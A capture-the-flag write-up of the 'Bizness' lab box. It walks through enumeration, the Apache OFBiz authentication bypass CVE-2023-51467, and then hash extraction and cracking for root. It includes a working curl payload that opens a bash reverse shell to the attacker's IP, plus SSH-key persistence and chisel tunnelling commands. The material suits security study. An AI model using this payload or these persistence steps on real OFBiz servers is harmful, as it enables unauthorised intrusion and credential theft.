Bizness

INTRODUCTION

Bizness, at first glance, is a cheeky satire of the modern business landing page. It’s a website for a fictional company called BizNess that seemingly… well, I can’t really tell what they do. They use a lot of fun buzz words though! 😎 The entry into the server is all about attacking some well-known ERP software.

Foothold on this box is a breeze. A little bit of enumeration and fingerprinting will lead to near-instantaneous success. Privilege escalation to root, however, is much more difficult. It will require you to enumerate very carefully, finding ways to tackle a system bloated with distracting configuration files, plugins, and log files everywhere. Not only that, but when you finally do find what you need, you’ll have to apply solid reasoning to take what you’ve found and transform it into escalation.

This box felt very unbalanced: The user flag is deceptively simple, while the root flag takes quite a bit of work - more than you might expect on an Easy box. Don’t give up!

title picture

RECON

nmap scans

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
36459/tcp open  unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/29%OT=22%CT=1%CU=31094%PV=Y%DS=2%DC=I%G=Y%TM=65B7
OS:C1C8%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=110%TI=Z%CI=Z%TS=A)SEQ(S
OS:P=102%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW
OS:7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CN
OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://bizness.htb/
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-server-header: nginx/1.18.0
36459/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

👀 Where can I get a 305-year SSL cert?!

The big surprise from this scan is whatever is listening on TCP port 36459 - what’s that about?

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE      VERSION
68/udp    open|filtered tcpwrapped
88/udp    open|filtered kerberos-sec
514/udp   open|filtered tcpwrapped
996/udp   open|filtered tcpwrapped
1022/udp  open|filtered tcpwrapped
1030/udp  open|filtered tcpwrapped
1434/udp  open|filtered tcpwrapped
1900/udp  open|filtered tcpwrapped
49182/udp open|filtered tcpwrapped
49194/udp open|filtered unknown
49200/udp open|filtered unknown
49201/udp open|filtered unknown

Note that these are either open or filtered. Likely just filtered, but they are noteworthy.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=bizness.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

banner grabbing 1

OK, so it’s running nginx 1.18.0. That’s typical. There’s also a redirect to an HTTPS version of the site (also shown in the nmap scans)

Next I performed vhost enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from the vhost scan. Now I’ll check for subdomains of both http://bizness.htb and https://bizness.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v
# No result

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v
# No result

Still the only domain I know about is bizness.htb . I’ll do directory enumeration next:

🤔 To be honest, I still don’t have a favourite directory enumeration tool:

Often, I favor ffuf for directory enumeration, for its extensive options. Other times, I like the simplicity of gobuster. And if I want to enumerate very deeply, I’ll use feroxbuster.

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt" 
OUTPUT="fuzzing/directory"

# This is what I often use:
# ffuf -w $WLIST:FUZZ -u https://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json  -timeout 4 -v

# For simplicity, I used gobuster. Note the -k flag and exclusion of status 302
gobuster dir -k -w $WLIST -u https://$DOMAIN \                                                           
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 302,400,401,402,403,404,405 \
--output "$OUTPUT-$DOMAIN.txt" \
--no-error

Directory enumeration against https://bizness.htb/ gave the following:

directory enumeration

Since this is the only directory I found, I began additional directory enumeration of /control. However, since there were so many nuissance results to filter, I found it easier to do the same thing using ffuf:

ffuf -w $WLIST:FUZZ -u https://$DOMAIN/control/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "ffuf-$OUTPUT.json" -of json  -timeout 4 -v -c -fs 0 -fc 302 -fw 10468

directory enumeration 3

Exploring the Website

The /control directory appears to be running a separate product called OFBiz, an open source ERP software solution.

control directory

It’s a bit hard to see from this image, but the footer shows that the site is running Apache OFBiz Release 18.12. Perhaps searchsploit has some additional info.

searchsploit OFBiz --id

searchsploit

At first glance, exploit ID 12263 looks promising. But as you might have guessed from the very low ID number, this is an old exploit for a much earlier version. Also, the other exploits are all for vulnerabilities that have been patched by 18.12.

A quick web search showed some much, much more promising leads. Apparently, there was a 0-day reported for OFBiz mere weeks before this box’s release?! 😱 Take a look at one of the articles describing this vulnerability here. The vulnerability was tracked as CVE-2023-51467, but also that it could be coupled with CVE-2023-49070.

I took a quick look to see if some PoC code already existed. Sure enough, there were plenty of examples. All are variations on sending a request with an empty username and a bogus password, but with the requirePasswordChange=Y parameter. The first PoC code I found was this one, by K3ysTr0K3R.

To try it out, I cloned the repo, then set up a python venv and began installing dependencies for the script:

# clone the repo and change to that directory
git clone https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT.git
cd CVE-2023-51467-EXPLOIT
# set up the venv, so as not to clutter your main install
python3 -m venv .
source ./bin/activate
pip3 install requests rich
# run the PoC code
python3 CVE-2023-51467.py --url https://bizness.htb

cve-2023-51467 poc

I tried it for myself using a curl request:

curl -k https://bizness.htb/webtools/control/ping?USERNAME\&PASSWORD=test\&requirePasswordChange=Y
PONG

This reply indicates the test was successful. After reading through the vulnerability disclosure by Openwall, and the test cases that they used, it is clear that the important bit is the requirePasswordChange=Y portion. With that known, how can I take this a step further?

FOOTHOLD

Authentication Bypass

I’ll try a login, proxied through Burp Repeater, then try again with this authentication bypass. First, a regular login attempt:

burp login 1

Next, I’ll try authentication bypass:

burp login 2

Interesting. I think it worked. I was still presented with the “username was empty reenter” toast, but the login appears successful. I’ll try again, this time just through Burp Proxy:

POST /control/login HTTP/1.1
Host: bizness.htb
Cookie: OFBiz.Visitor=13237; JSESSIONID=B9F973F9877B23BE8ED0890B1A2FEB90.jvm1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
[...snip...]
Sec-Gpc: 1
Te: trailers
Connection: close

USERNAME&PASSWORD=test&requirePasswordChange=Y&JavaScriptEnabled=Y

password reset

😅 OK, mixed success! We have a partial authentication bypass, and we know that we can issue certain commands through the /webtools/control endpoint (ex. ping as an SSRF works). But if I use this authentication bypass for a simple login to the admin panel, I’m presented with the Password Change screen - with no obvious way to circumvent that.

SSRF Using CVE-2023-51467

I did a little more research on this vulnerability, and how others were able to exploit it. Eventually, I found this article describing how to exploit the vulnerability in a nontrivial way. Apparently, most useful ways to form a reverse shell are actually blocked by the application sandboxing. But, for the lazy attacker, there is an easy way to make a bash reverse shell.

First, I open my firewall and start up a reverse shell:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash # change to bash locally, so I can "upgrade" the shell later
nc -lvnp 4444

Then, fire the payload:

curl -kv -H "Host: bizness.htb" \   
-d "groovyProgram=x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/10.10.14.9/4444 0>%261;';x.execute();" \
"https://bizness.htb/webtools/control/ProgramExport/?requirePasswordChange=Y&PASSWORD=password123&USERNAME=jimbob"

Here it is, as a single line:

curl -kv -H "Host: bizness.htb" -d "groovyProgram=x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/10.10.14.9/4444 0>%261;';x.execute();" "https://bizness.htb/webtools/control/ProgramExport/?requirePasswordChange=Y&PASSWORD=password123&USERNAME=jimbob"

🤔 It’s unclear to me why the payload is only partially URL-encoded.

reverse shell

👍 Great! looks like a functional reverse shell.

Optional: Upgrading the Shell

First of all, switch to a regular bash shell. One convenient way to do that is by using Python, if it’s on the target:

which python python3 perl bash # Python3 is present - use it
python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm-256color

Now I have colors, tab completion, command recall, etc. Nice and comfy.

Optional: Plant an SSH Key

A quick check of /etc/passwd reveals that ofbiz is not just a regular webserver “user”, they have a login shell and a home directory.

Since that’s the case, I’ll plant an SSH key so I can reconnect without having to re-exploit the CVE.

First, on my attacker box, generate a key and base-64 encode it:

# used passphrase "flaming0":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub 

Then, on the target box, make an SSH directory and plant the key:

mkdir -p ~/.ssh
cd ~/.ssh
echo "c3NoLXJz[...snip...]thbGkK" | base64 -d > authorized_keys

Now back on the attacker box, go ahead and connect using SSH:

ssh login

USER FLAG

Just read it

As previously noted, the user ofbiz is the only user with a home directory. They hold the flag. Whether you took the extra step to plant an SSH key or not, go read the flag now for some points :

cat /home/ofbiz/user.txt

ROOT FLAG

Enumeration

Since this is an Easy box, I won’t spend too much time delving into enumeration. Usually, something will stand out as a probably PE vector. But first, I should download my toolbox onto the target.

I’ll stand up a python http server from my attacker machine to host my standard toolbox. I’ll also start up a chisel server, just in case I need it later:

# Open up a firewall port for the http server
# Also open a port for chisel server, just in case
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp
cd ~/MyToolbox
# Run chisel and background it (or just use another terminal window/tab)
./chisel server --port 9999 --reverse --key MyS3cr3tK3y & 
# Start the webserver to serve the Toolbox to the target
python3 -m http.server 8000

Then, on the target machine:

# Set up a hidden directory in tmp to download tools to
mkdir -p /tmp/.Tools
cd /tmp/.Tools
# Download each tool that might be useful, such as chisel
wget http://10.10.14.3:8000/chisel && chmod 755 chisel
wget linpeas.sh && chmod +x linpeas.sh
wget pspy && chmod +x pspy
# Form the proxy connection and background it
./chisel client 10.10.14.3:9999 R:1080:socks & 

Now that I have my tools, I’ll proceed with enumeration. I’ll follow my usual Linux User Enumeration strategy. To keep this brief, I won’t elaborate on the methodology of every step - I’ll instead just show the key results:

  • ofbiz is the only user with a login shell and home directory.
  • Target is running Java 11 and it is last on the $PATH
  • ofbiz can write files pretty much only to their home directory and to /opt/ofbiz
  • Target has some useful tools: nc, netcat, curl, wget, python3, perl
  • netstat shows unexpected ports listening, 10523 and 36459: netstat Port 10523 was observed during initial port scans, but was clearly being blocked by some kind of application sandboxing. Maybe Docker? Still unclear what 36459 might be.
  • No unusual cron jobs; No unusual SUID/SGID executables; No files with extra capabilities added.
  • linpeas found a very interesting result. Snippet below: linpeas snippet

If I could find a way to stop OFBiz and restart it, I could very easily create a root reverse shell by overwriting /opt/ofbiz/gradlew. However, I cannot use systemctl to stop the service (insufficient permissions). I’ll keep an eye out for other methods for stopping/starting the service.

Ofbiz config files

In hopes of finding some kind of database running for OFBiz, I went searching for anything that looked like a config file inside /opt/ofbiz. I came across several notable files:

  • /opt/ofbiz/INSTALL Looked interesting, but contents show nothing important.

  • /opt/ofbiz/Dockerfile This file contains a lot of the typical docker setup info. The most noteworthy thing is that it does not expose (or even mention) that suspicious port 10523.

  • /opt/ofbiz/docker/docker-entrypoint.sh Shows that the default credentials for OFBiz are ofbiz : ofbiz. Also, there is some info about connecting to a PostgresSQL database:

    POSTGRES_DRIVER_URL="https://jdbc.postgresql.org/download/postgresql-42.5.4.jar"
    

    psql docker startup details Also, this file seems to show the hashing format for passwords:

        # Concatenate a random salt and the admin password.
        SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
        SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"
    
        # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
        SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
    
        # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running through the printf command. Encode the result as URL base 64 and remove padding.
        SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
        SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
    
        # Concatenate the hash type, salt and hash as the encoded password value.
        ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
    
        # Populate the login data template
        sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"
    
  • /opt/ofbiz/docker/send_ofbiz_stop_signal.sh Maybe this is exactly what I need to stop the server. But how to restart it? After reading through it, I see that this script works by communicating with some “admin port”. I’ll investigate more on this below 🚩

That last part of docker-entrypoint.sh looked interesting, so I tried running grep over the ofbiz files, looking for “currentPassword=”:

find /opt/ofbiz -maxdepth 4 -type f -exec grep "currentPassword=" {} +

But the only result was demo data. That, plus a record showing the authentication bypass had occurred. However, now that I see the format for the password hashes, I’ll take a deeper look:

find . -maxdepth 6 -type f -exec grep "{SHA}" {} + | grep -iv demo
./runtime/logs/ofbiz-2023-12-16-2.log:2023-12-16 03:44:21,359 |jsse-nio-8443-exec-4 |HashCrypt                     |W| Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a)
./runtime/logs/ofbiz-2023-12-16-2.log:2023-12-16 03:44:54,216 |jsse-nio-8443-exec-8 |HashCrypt                     |W| Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a)
./runtime/logs/ofbiz-2023-12-16-2.log:2023-12-16 03:44:54,220 |jsse-nio-8443-exec-8 |HashCrypt                     |W| Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a)
./framework/resources/templates/AdminUserLoginData.xml:    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
grep: ./build/distributions/ofbiz.tar: binary file matches
./plugins/example/testdef/assertdata/TestUserLoginData.xml:    <UserLogin userLoginId="admin" currentPassword="{SHA}47b56994cbc2b6d10aa1be30f70165adb305a41a"/>

Ok, it mentions that one hash, 47b56994cbc2b6d10aa1be30f70165adb305a41a, a few times. I’ll run it through name-that-hash and see what it turns up:

name-that-hash -t '47b56994cbc2b6d10aa1be30f70165adb305a41a'

name-that-hash

Even though it lists the format under “Least Likely”, we know the format should be sha1($salt.$pass), which is hashcat mode 110. However, that mode requires a separator between the salt and the hash. So which part is the salt? If you take a look at the contents of docker-entrypoint.sh, the whole algorithm is there:

  1. SALT = Generate 16 random bytes
  2. Concatenate SALT+Password and run that through sha1sum. Then transform it to ASCII.
  3. Convert ASCII representation to URL-encoded base64
  4. Concatenate SALT+B64HASH

In short, the resulting format is most like $salt.sha1($salt.$pass)

Let’s shortcut this whole process by taking that script and adding some echo to it:

# Use an arbitrary password
OFBIZ_ADMIN_PASSWORD="ofbiz"
# Concatenate a random salt and the admin password.
SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"
# Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
# Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
# through the printf command. Encode the result as URL base 64 and remove padding.
SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
# Concatenate the hash type, salt and hash as the encoded password value.
ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
echo "Salt:     $SALT  (`echo -n $SALT | wc --chars` chars)"
echo "Base-64:  $SHA1SUM_BASE64  (`echo -n $SHA1SUM_BASE64 | wc --chars` chars)"
echo "Together: $ENCODED_PASSWORD_HASH"

Just to give an idea of what I’m looking for, I ran the above script and got:

Salt:     PVfRZDQlsmFCqUhb
Base-64:  o6du6DJEkP2K4XNmcfa6fqatObc
Together: $SHA$PVfRZDQlsmFCqUhb$o6du6DJEkP2K4XNmcfa6fqatObc

That’s good to know. I’ll keep an eye out for a hash in this format as I continue to look for a way to escalate to root 🚩

Aside: send _ofbiz_stop_signal

The send_ofbiz_stop_signal.sh script has some interesting contents:

#[...snip]
echo "Getting admin port and key..."
START_PROPERTIES_CONTENT=$(cat /ofbiz/framework/start/src/main/resources/org/apache/ofbiz/base/start/start.properties)

OFBIZ_ADMIN_PORT=$(getPropertyValue "$START_PROPERTIES_CONTENT" "ofbiz.admin.port")
echo Admin port: $OFBIZ_ADMIN_PORT;

OFBIZ_ADMIN_KEY=$(getPropertyValue "$START_PROPERTIES_CONTENT" "ofbiz.admin.key")
echo Admin key: $OFBIZ_ADMIN_KEY;

echo "Sending shutdown signal..."
echo "$OFBIZ_ADMIN_KEY:SHUTDOWN" | curl telnet://localhost:$OFBIZ_ADMIN_PORT
echo "Done"

It reads the admin port and admin key from the start.properties file. Then, on the second last line, it shows how it uses those properties. It sends a single message, “[ADMIN_KEY]:SHUTDOWN”, over telnet protocol to the admin port. If I knew what the admin key was, I could try this out for myself.

However, note the path to the start.properties file. It doesn’t exist on this box. However, there is a start.properties file at a very similar path: /opt/ofbiz/framework/start/src/main/java/org/apache/ofbiz/base/start/start.properties.

☝️ Just add /opt to the start of the path, and replace resources with java.

Let’s take a look at the start.properties file:

# --- OFBiz startup loaders comma separated
ofbiz.start.loaders=main

# [...snip...]

# --- Network host, port and key used by the AdminClient to communicate
#     with AdminServer for shutting down OFBiz or inquiring on status
#     Default ofbiz.admin.host 127.0.0.1
#     Default ofbiz.admin.port 0
#     Default ofbiz.admin.key NA
#ofbiz.admin.host=
ofbiz.admin.port=10523
ofbiz.admin.key=so3du5kasd5dn

# -- Enable the JVM shutdown hook. Default is true
#ofbiz.enable.hook=false

# [...snip...]

😁 Well there we go; very interesting… That mysterious “admin port” is none other than 10523! Also, now we know the admin key.

At this point, I am thankful that I went ahead and planted an SSH key. Assuming this send_ofbiz_stop_signal.sh script does what it looks like it does, and if I’m successful in shutting down OFBiz, it will terminate the original reverse shell along with it. However, with my SSH connection I can happily sit on the box, and watch the whole operation unfold using pspy 😉

So, let’s give it a go. From my attacker box (via the socks5 proxy I established using chisel), I’ll send the command it’s expecting. Meanwhile, on the target box, I’ll watch pspy.

# on target:
timeout 5m /tmp/.Tools/pspy
# on attacker:
proxychains echo "so3du5kasd5dn:SHUTDOWN" | curl telnet://localhost:10523

Hmm, that didn’t work. But with a slight modification…

proxychains telnet 127.0.0.1

proxychains telnet

Worked perfectly! As soon as I issued that command, I saw the following appear on pspy:

pspy after shutdown

Unfortunately, all we see being ran as root is the line shown at the top: (gradlew)

Moreover, it seems that there is no periodic process to re-start the box after it is shut down. Recall that earlier, during enumeration, linpeas found that the ofbiz.service is running gradlew from a writable location; if I could find a way to shut down then restart OFBiz, it was likely that this would be the PE vector.

😞 However, since OFBiz seems to not have any mechanism to turn it back on, my whole attempt with send_ofbiz_stop_signal may have only succeeded in breaking the box. I will keep this idea in mind, but start pursuing other options 🚩

I’ll restart the box now, re-exploit, once again plant an ssh key and download my toolbox 🤦‍♂️

Searching for a Database

This box is running OFBiz, an open source ERP software. By it’s nature, it definitely needs some kind of database to function properly. So far, I’ve seen mentions of database credentials inside the Docker files, but no actual database 🤔

There’s a very good tool for finding these types of things (passwords, secrets, database connection strings, etc), called Trufflehog. It’s easiest to run it locally, but it’s also quite large, so I don’t often download it alongside the rest of my toolbox. I’ll grab it now and run it:

cd /tmp/.Tools
wget http://10.10.14.9:8000/trufflehog && chmod u+x trufflehog
for d in /etc /opt /usr /home /var; do 
	./trufflehog filesystem $d 2>/dev/null | tee -a trufflehog-out.txt; 
done

It tends to spit out a lot of surplus info (false positives), but it is very thorough. After a minute or so, it found some hints at a database connection:

Found unverified result 🐷🔑❓
Detector Type: JDBC
Decoder Type: PLAIN
Raw result: jdbc:mysql://127.0.0.1/ofbiz_odbc?autoReconnect=true&amp;characterEncoding=UTF-8
File: /opt/ofbiz/build/distributions/ofbiz.zip
Line: 52

Found unverified result 🐷🔑❓
Detector Type: JDBC
Decoder Type: PLAIN
Raw result: jdbc:postgresql://127.0.0.1/ofbiz
File: /opt/ofbiz/build/distributions/ofbiz.zip
Line: 85

Found unverified result 🐷🔑❓
Detector Type: JDBC
Decoder Type: PLAIN
Raw result: jdbc:mysql://127.0.0.1/ofbizolap?autoReconnect=true&amp;characterEncoding=UTF-8
File: /opt/ofbiz/build/libs/ofbiz.jar
Line: 207

Found unverified result 🐷🔑❓
Detector Type: JDBC
Decoder Type: PLAIN
Raw result: jdbc:sqlserver://localhost:1791;databaseName=ofbiz;SelectMethod=cursor;
File: /opt/ofbiz/framework/entity/config/entityengine.xml
Line: 136

So it seems like OFBiz is able to use MySQL, PostgresSQL, Derby, and several other types of databases.

Checking /opt/ofbiz/build/distributions, I see two files: ofbiz.tar and ofbiz.zip. I’ll transfer them to my attacker box and see what’s inside. They’re very large though (406MB for the .tar file), so I’ll use scp.

scp -i id_rsa ofbiz@$RADDR:/opt/ofbiz/build/distributions/ofbiz.tar ./ofbiz.tar

🤕 45 minutes estimated to download. What is this, Y2K?

Note to self: delete this stuff when I’m done the box. Disk space doesn’t grow on trees!

Unfortunately, after extensive search through ofbiz.tar I didn’t find anything that I hadn’t already found while enumerating the target box. 😞

Back on the target box, I kept searching. I decided to look for signs of each type of database that Trufflehog found a connection string for. There clearly was not a postgres or MySQL database (there are no listening ports for either of those) - so what is it?

🚨 After quite a bit of manually milling through files, I finally found a Derby database! It’s located in /opt/ofbiz/runtime/data. I immediately archived the directory and copied it over to my attacker box:

# On the target box:
tar -czvf derby.tar.gz ./data
mv derby.tar.gz /tmp/.Tools
# On the attacker box:
scp -i id_rsa ofbiz@$RADDR:/tmp/.Tools/derby.tar.gz ./derby.tar.gz
tar -zxvf derby.tar.gz

A little bit of research pointed out that the appropriate tool for accessing a Derby database would be ij, part of the derby-tools package.

sudo apt install derby-tools
ij
> connect 'jdbc:derby:/home/kali/Box_Notes/Bizness/derby-tar/data/derby/ofbiz;create=false';
> show tables; # Hundreds of tables are listed, including a few about USER_LOGIN
> describe USER_LOGIN; # It claims this is not a valid table?
> describe OFBIZ.USER_LOGIN; # Aha, that worked. 
> SELECT USER_LOGIN_ID, CURRENT_PASSWORD, PASSWORD_HINT FROM OFBIZ.USER_LOGIN;
# Finally, some results! 
# admin  |  $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I  |  NULL

Excellent! Finally a hash in the format I’ve been looking for!

Optionally, you can also use a GUI database tool like DBeaver. This is actually what I did first, but I thought ij was a cleaner solution. For DBeaver, simply define a new Connection, choose Derby Embedded, then locate the database from the Edit Connection window. The directory you want to locate is ./data/derby/ofbiz.

dbeaver

Cracking the admin hash

The hash recovered from the Derby database was $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. Fitting that into the format observed earlier (from the docker-entrypoint.sh script), that means:

  • The salt is d I had thought it would be 16 characters, but oh well.
  • the base64(sha1($salt.$pass)) part is uP0_QaVBpDWFeo8-dRzDqRwXQ2I

So, to proceed, I’ll need to undo the steps that were done by:

  1. printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '='
  2. printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g'
  3. printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000'

Undoing step 1:

basenc can be undone simply by adding a -d flag do it. The trick is to undo the tr --delete '=' first. I’ll try decoding the text with 0, 1, or 2 trailing “=”. One of them should produce valid output:

# The winner is: 1 equals sign
echo -n 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' | basenc -d --base64url --wrap=0
# output is: ��?A�A�5�z�>uéCb

Undoing step 2:

This step just removes escape sequences. However, we can do the same thing by just converting it to raw hex:

echo -n 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' | basenc -d --base64url --wrap=0 | xxd -ps
# output is: b8fd3f41a541a435857a8f3e751cc3a91c174362

Undoing step 3:

This step is the actual hashing. I’ll need to prepare a file for hashcat to work with, then simply choose the right mode. Hashcat expects the hashes to be in a [hash]:[salt] format:

echo -n "b8fd3f41a541a435857a8f3e751cc3a91c174362:d" > admin_hash.txt
# Name-that-hash already pointed out that the mode should be '110' for sha1($s.$p)
hashcat -m 110 admin_hash.txt /usr/share/wordlists/rockyou.txt

Unfortunately, this did not find a hash. Why not try john instead?

# Add the hash into the file in the format john expects
echo -n 'b8fd3f41a541a435857a8f3e751cc3a91c174362$d' >> admin_hash.txt
# Check what mode to use
john --list=subformats | grep sha1 # looks like dynamic_25 is correct
john --wordlist=/usr/share/wordlists/rockyou.txt --format=dynamic_25 admin_hash.txt

john

😁 Bingo! Now, I just need to escalate privilege

sudo su # noop
su 		# yepp

root shell

🐵 There’s the root shell. Just cat the flag for those hard-earned points!

cat /root/root.txt

I’d like to give a quick thank-you to someone (that would like to remain anonymous) who helped me get un-stuck at one part of this privesc on this box. Thanks again!

LESSONS LEARNED

two crossed swords

Attacker

  • Some software is huge. Some big, multi-purpose products like OFBiz are very large and full of sample/demo files. All of these files can be quite distracting; finding things manually can be especially tedious. Find ways to deal with the scale by utilizing things like grep and scripting.
  • Try the other hash cracker. john not working? Try hashcat. hashcat not working? Try john. If you’re just using a CPU for cracking, there’s really no advantage of either.
  • Don’t follow linpeas blindly. This goes for other auto-enumeration tools as well: they aren’t infallible. On this box, linpeas pointed the attacker at a writable binary that is called by the ofbiz service. However, in attempting to reset the service, the whole box becomes inaccessible to other players. Not cool!
  • Big scans should guide your manual enumeration. On this box, I used Trufflehog extensively. While it produced a lot of false-positives, it was very useful in building a shortlist of things I wanted to loop-back to and investigate manually.
two crossed swords

Defender

  • Rate-limit the webserver. It won’t prevent nefarious activity, but it will definitely raise the bar for how difficult enumeration is. Even a simple action like rate-limiting is effective at deterring hackers with little means to launch a distributed attack.
